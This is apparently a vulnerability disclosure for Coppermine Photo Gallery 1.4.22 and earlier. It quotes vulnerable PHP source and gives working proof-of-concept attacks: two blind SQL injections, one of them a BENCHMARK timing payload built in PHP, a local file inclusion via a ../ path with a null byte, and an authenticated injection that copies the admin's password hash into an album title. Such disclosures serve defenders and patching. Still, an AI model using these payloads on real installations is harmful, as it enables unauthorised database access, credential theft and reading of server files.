Author:  girex
Site:  http://girex.altervista.org/

CMS:  Coppermine Photo Gallery <= 1.4.22


Coppermine Foto Gallery suffers from different vulnerabilities.

There is a Local File Inclusion and a Blind SQL Injection working with 
register_globals = On and magic_quotes_gpc = Off
and
a SQL Injection working in case of registration is enabled and a user can create/modify albums 
(default setting if registration is enabled) and php.ini regardless
and 
a Blind SQL Injection when is enabled the ecard logging system 
(that is not a default configuration) and php.ini regardless

Let's see how do they work...

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Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.

I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this
Proof of Concepts.

Let's see the anti-register_globals protection and how to bypass it...

File: /includes/init.inc.php - lines: 42-65

  $keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger');
  
  if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') {
      $register_globals_flag = true;
  } else {
      $register_globals_flag = false;
  }
  
  if (get_magic_quotes_gpc()) {
          if (is_array($_POST)) {
                  foreach ($_POST as $key => $value) {
                          if (!is_array($value))
                                  $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
                          if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
                  }
          }
  
          if (is_array($_GET)) {
                  foreach ($_GET as $key => $value) {
                          unset($_GET[$key]);
                          $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
                          if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
                  }
          }

Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off
This protection is easily bypassable defining GLOBALS vars via GET or via POST.

Example: index.php?GLOBALS[dummy_example]=damn
It defines the global var dummy_example.

Let's see how to exploit it...

File: ./thumbnails.php - lines: 79-

  if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort'];
  if (isset($_GET['cat'])) $cat = (int)$_GET['cat'];    <== bypass the int cast 
  if (isset($_GET['album'])) $album = $_GET['album'];

  ...
  if (is_numeric($album)) {
  ...
      
  } else {
        $album_set_array = array();
        if ($cat == USER_GAL_CAT)
              $where = 'category > ' . FIRST_USER_CAT;
         else
              $where = "category = '$cat'";

        $result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where");  <==  Vulnerable query


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23  true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23  false

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It's also possible to obtain a local file inclusion overwriting $USER array and in particular
$USER['lang'] vars...

File: /include/functions.inc.php - lines: 128-135

  function user_get_profile()
  {
          global $CONFIG, $USER;

          if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
                  $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
                  $USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');    <== we bypass it
          }
      
    if (!isset($USER['ID']) || strlen($USER['ID']) != 32) {
                  list($usec, $sec) = explode(' ', microtime());
                  $seed = (float) $sec + ((float) $usec * 100000);
                  srand($seed);
                  $USER=array('ID' => md5(uniqid(rand(),1)));
          } else {
                  $USER['ID'] = addslashes($USER['ID']);
          }

          if (!isset($USER['am'])) $USER['am'] = 1;
  }

File: /includes/init.inc.php - lines: 318-346

  if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
  {
          $CONFIG['default_lang'] = $CONFIG['lang'];          // Save default language
          $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
  }
  elseif ($CONFIG['charset'] == 'utf-8')      <== default configuration
  {
           include('include/select_lang.inc.php');
          if (file_exists('lang/' . $USER['lang'] . '.php'))
          {
                  $CONFIG['default_lang'] = $CONFIG['lang'];      // Save default language
                  $CONFIG['lang'] = $USER['lang'];
          }
  }
  else
  {
          unset($USER['lang']);
  }

  if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
  {
                unset($CONFIG['default_lang']);
  }

  if (!file_exists("lang/{$CONFIG['lang']}.php"))
    $CONFIG['lang'] = 'english';

  // We load the chosen language file
  require "lang/{$CONFIG['lang']}.php";    <== vulnerable include


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close

This will include README.txt, if register_globals=on magic_quotes_gpc=off
and if User-Agent and Accept-Language headers are not set. (see code)

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When registration are enabled and a user can create/modify albums with password is possible 
to obatain a blind sql injection php.ini regardless.

File: ./db_input.php 

  $event = isset($_POST['event']) ? $_POST['event'] : $_GET['event'];
  switch ($event) {
 
  ...

  case 'album_update':
        if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in

        $aid = (int)$_POST['aid'];
        $title = addslashes(trim($_POST['title']));
        $category = (int)$_POST['category'];
        $description = addslashes(trim($_POST['description']));
                $keyword = addslashes(trim($_POST['keyword']));
        $thumb = (int)$_POST['thumb'];
        $visibility = (int)$_POST['visibility'];
        $uploads = $_POST['uploads'] == 'YES' ? 'YES' : 'NO';
        $comments = $_POST['comments'] == 'YES' ? 'YES' : 'NO';
        $votes = $_POST['votes'] == 'YES' ? 'YES' : 'NO';
        $password = $_POST['alb_password'];          <== this var is not addslashed
                $password_hint = addslashes(trim($_POST['alb_password_hint']));
        $visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility;

        if (!$title) cpg_die(ERROR, $lang_db_input_php['alb_need_title'], __FILE__, __LINE__);

        if (GALLERY_ADMIN_MODE) {
            $query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', category='$category', thumb='$thumb', uploads='$uploads', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', alb_password_hint='$password_hint', keyword='$keyword' WHERE aid='$aid' LIMIT 1";
        } else {
            $category = FIRST_USER_CAT + USER_ID;
            $query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', thumb='$thumb',  comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password',    <== vulnerable query alb_password_hint='$password_hint',keyword='$keyword' WHERE aid='$aid' AND category='$category' LIMIT 1";
        }

        $update = cpg_db_query($query);

$_POST['alb_password'] is not addslashed before being used in a query.
You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php...

File: /include/init.inc.php

  // Do some cleanup in GET, POST and cookie data and un-register global vars
  $HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => '''); 

  ...
  $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
  ...
  $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
  ...
  $_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);


So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of
$_POST['alb_password'] and execute SQL in $_POST['alb_password_hint'] parameter.


Here's a Proof of Concept: 
NOTE: - registration must be enabled and an user must can create/modify albums 
      - works regardless of php.ini settings

- Log in with your user credential
- Create an album with password
- Do this request:

POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded

event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23

You will set the admin's password (user with user_id=1) as the title of your album.

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And we have also a Blind SQL Injection with a specific configuration of coppermine...

File: ./displayecard.php - lines 26-38

  if (!isset($_GET['data'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__);

  $data = array();
  $data = @unserialize(@base64_decode($_GET['data']));

  // attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match
  if ((!is_array($data)) && $CONFIG['log_ecards'] && (strlen($_GET['data']) > 12)) {
          $result = cpg_db_query("SELECT link FROM {$CONFIG['TABLE_ECARDS']} WHERE link LIKE '{$_GET['data']}%'");
          if (mysql_num_rows($result) === 1) {
                  $row = mysql_fetch_assoc($result);
                  $data = @unserialize(@base64_decode($row['link']));
          }
  }


Here's a Proof of Concept: 
NOTE: - $CONFIG['log_ecards'] must be set to 1 (and this is NOT a default config) 
      - works regardless of php.ini settings

Make an injection with this php code:
<?php
$injection = "%' OR BENCHMARK(999999, md5(0))#";
$injection = urlencode(base64_encode(serialize($injection)));
?>

Then:
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1

girex